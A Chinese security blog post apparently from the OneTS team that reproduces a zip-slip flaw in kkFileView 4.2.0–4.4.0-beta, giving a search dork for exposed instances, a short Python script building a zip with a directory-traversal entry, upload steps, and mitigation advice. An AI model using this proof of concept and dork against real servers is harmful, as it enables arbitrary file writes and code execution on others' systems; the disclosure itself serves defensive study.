漏洞复现|kkFileView存在zip-slip漏洞

声明

本文属于OneTS安全团队成员98的原创文章，转载请声明出处！本文章仅用于学习交流使用，因利用此文信息而造成的任何直接或间接的后果及损失，均由使用者本人负责，OneTS安全团队及文章作者不为此承担任何责任。

kkFileView介绍

kkFileView为文件文档在线预览解决方案，该项目使用流行的spring boot搭建，易上手和部署，支持主流办公文档的在线预览，如doc,docx,xls,xlsx,ppt,pptx,pdf,txt,zip,rar,图片,视频,音频等。

漏洞描述

受影响版本中的文件上传功能在处理压缩包时存在安全问题，攻击者可以上传恶意的压缩包并覆盖文件，通过调用覆盖文件可以执行任意代码。

漏洞影响版本

4.2.0 <= kkFileView <= 4.4.0-beta

资产测绘平台Dork

title="kkFileView"

漏洞复现

🔸部署方式

🔸EXP代码

import zipfile

if __name__ == "__main__":
    try:
        binary1 = b'ONETS123team'
        binary2 = b'zimudao'
        zipFile = zipfile.ZipFile("hack.zip", "a", zipfile.ZIP_DEFLATED)
        info = zipfile.ZipInfo("hack.zip")
        zipFile.writestr("test", binary1)
        zipFile.writestr("../../../../../../../../../../../../../../../../../../../tmp/zimudaoONETS", binary2)
        zipFile.close()
    except IOError as e:
        raise e

🔸制作恶意的zip包 上传并预览，上传并预览，即可任意文件追加写入到对应目录

🔸成功创建文件

漏洞修复建议

• 临时修复可对预览白名单地址进行限制。
• 目前官方暂未发布最新版，建议关闭对外访问